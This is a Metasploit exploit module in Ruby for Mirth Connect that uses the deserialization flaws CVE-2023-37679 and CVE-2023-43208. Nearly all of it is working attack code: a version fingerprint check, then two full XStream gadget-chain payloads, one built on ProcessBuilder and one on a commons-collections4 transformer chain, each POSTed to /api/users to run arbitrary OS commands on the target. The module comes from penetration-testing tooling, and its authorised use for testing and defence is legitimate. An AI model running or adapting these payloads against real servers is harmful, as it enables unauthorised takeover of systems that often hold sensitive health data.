##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Mirth Connect Deserialization RCE',
        'Description' => %q{
          A vulnerability exists within Mirth Connect due to its mishandling of deserialized data. This vulnerability
          can be leveraged by an attacker using a crafted HTTP request to execute OS commands within the context of the
          target application. The original vulnerability was identified by IHTeam and assigned CVE-2023-37679. Later,
          researchers from Horizon3.ai determined the patch to be incomplete and published a gadget chain which bypassed
          the deny list that the original had implemented. This second vulnerability was assigned CVE-2023-43208 and was
          patched in Mirth Connect version 4.4.1. This module has been tested on versions 4.1.1, 4.3.0 and 4.4.0.
        },
        'Author' => [
          'r00t',
          'Naveen Sunkavally',
          'Spencer McIntyre'
        ],
        'References' => [
          ['CVE', '2023-37679'],
          ['URL', 'https://www.ihteam.net/advisory/mirth-connect/'],
          ['CVE', '2023-43208'],
          ['URL', 'https://www.horizon3.ai/nextgen-mirth-connect-remote-code-execution-vulnerability-cve-2023-43208/'],
          ['URL', 'https://www.horizon3.ai/writeup-for-cve-2023-43208-nextgen-mirth-connect-pre-auth-rce/'],
        ],
        'DisclosureDate' => '2023-10-25',
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux', 'win'],
        'Arch' => [ARCH_CMD],
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => ARCH_CMD
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Payload' => { 'Space' => 8191, 'DisableNops' => true }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 8443,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    )
    return CheckCode::Unknown('HTTP fingerprinting failed.') if res.nil?

    unless res.get_html_document&.xpath('//head/title')&.first&.text =~ /Mirth Connect/
      return CheckCode::Safe('The target is not Mirth Connect.')
    end

    target_version = get_target_version
    return CheckCode::Detected('Failed to detect the target version.') unless target_version

    vprint_status("Detected target version: #{target_version}")

    if target_version <= Rex::Version.new('4.3.0')
      return CheckCode::Appears("Version #{target_version} is affected by CVE-2023-37679.")
    elsif target_version <= Rex::Version.new('4.4.0')
      return CheckCode::Appears("Version #{target_version} is affected by CVE-2023-43208.")
    end

    CheckCode::Safe("Version #{target_version} is not affected.")
  end

  def get_target_version
    return @target_version if @target_version

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api/server/version'),
      'headers' => {
        'X-Requested-With' => 'OpenAPI'
      }
    )
    return nil unless res&.code == 200
    return nil unless res.body =~ /(\d+(\.\d+)*)/

    @target_version = Rex::Version.new(Regexp.last_match(1))
    @target_version
  end

  def exploit
    target_version = get_target_version
    print_status("Executing #{payload_instance.refname} (#{target.name})")

    if target_version <= Rex::Version.new('4.3.0')
      # The CVE-2023-43208 gadget chain will also work here but use the old one to verify the original vulnerability
      # which did not implement the deny-list logic that was bypassed by the newer chain
      res = execute_command_cve_2023_37679(payload.encoded)
    elsif target_version <= Rex::Version.new('4.4.0')
      res = execute_command_cve_2023_43208(payload.encoded)
    else
      fail_with(Failure::NoTarget, "Version #{target_version} is not vulnerable.")
    end

    if res.nil?
      fail_with(Failure::Unreachable, 'Failed to execute the payload.')
    elsif res.code != 500
      fail_with(Failure::UnexpectedReply, 'Failed to execute the payload.')
    end

    print_good('The target appears to have executed the payload.')
  end

  def execute_command_cve_2023_37679(cmd, _opts = {})
    # Tested on 4.1.1 and 4.3.0
    xml = Nokogiri::XML(<<-XML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
      <sorted-set>
        <string>#{rand_text_alphanumeric(4..12)}</string>
        <dynamic-proxy>
          <interface>java.lang.Comparable</interface>
          <handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
            <target class="java.lang.ProcessBuilder">
              <command>
                <string>#{target['Platform'] == 'win' ? 'cmd.exe' : 'sh'}</string>
                <string>#{target['Platform'] == 'win' ? '/c' : '-c'}</string>
                <string>#{cmd.encode(xml: :text)}</string>
              </command>
            </target>
            <methodName>start</methodName>
            <eventTypes/>
          </handler>
        </dynamic-proxy>
      </sorted-set>
    XML

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api/users'),
      'ctype' => 'application/xml',
      'headers' => {
        'X-Requested-With' => 'OpenAPI'
      },
      'data' => xml
    })

    res
  end

  def execute_command_cve_2023_43208(cmd, _opts = {})
    if target['Platform'] == 'win'
      cmd = "cmd.exe /c \"#{cmd}\""
    else
      # see: https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html
      cmd = "sh -c $@|sh . echo #{cmd}"
    end

    # Tested on 4.1.1, 4.4.0
    xml = Nokogiri::XML(<<-XML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
      <sorted-set>
        <string>#{rand_text_alphanumeric(4..12)}</string>
        <dynamic-proxy>
          <interface>java.lang.Comparable</interface>
          <handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
            <target class="org.apache.commons.collections4.functors.ChainedTransformer">
              <iTransformers>
                <org.apache.commons.collections4.functors.ConstantTransformer>
                  <iConstant class="java-class">java.lang.Runtime</iConstant>
                </org.apache.commons.collections4.functors.ConstantTransformer>
                <org.apache.commons.collections4.functors.InvokerTransformer>
                  <iMethodName>getMethod</iMethodName>
                  <iParamTypes>
                    <java-class>java.lang.String</java-class>
                    <java-class>[Ljava.lang.Class;</java-class>
                  </iParamTypes>
                  <iArgs>
                    <string>getRuntime</string>
                    <java-class-array/>
                  </iArgs>
                </org.apache.commons.collections4.functors.InvokerTransformer>
                <org.apache.commons.collections4.functors.InvokerTransformer>
                  <iMethodName>invoke</iMethodName>
                  <iParamTypes>
                    <java-class>java.lang.Object</java-class>
                    <java-class>[Ljava.lang.Object;</java-class>
                  </iParamTypes>
                  <iArgs>
                    <null/>
                    <object-array/>
                  </iArgs>
                </org.apache.commons.collections4.functors.InvokerTransformer>
                <org.apache.commons.collections4.functors.InvokerTransformer>
                  <iMethodName>exec</iMethodName>
                  <iParamTypes>
                    <java-class>java.lang.String</java-class>
                  </iParamTypes>
                  <iArgs>
                    <string>#{cmd.encode(xml: :text)}</string>
                  </iArgs>
                </org.apache.commons.collections4.functors.InvokerTransformer>
              </iTransformers>
            </target>
            <methodName>transform</methodName>
            <eventTypes>
              <string>compareTo</string>
            </eventTypes>
          </handler>
        </dynamic-proxy>
      </sorted-set>
    XML

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api/users'),
      'ctype' => 'application/xml',
      'headers' => {
        'X-Requested-With' => 'OpenAPI'
      },
      'data' => xml
    })

    res
  end
end
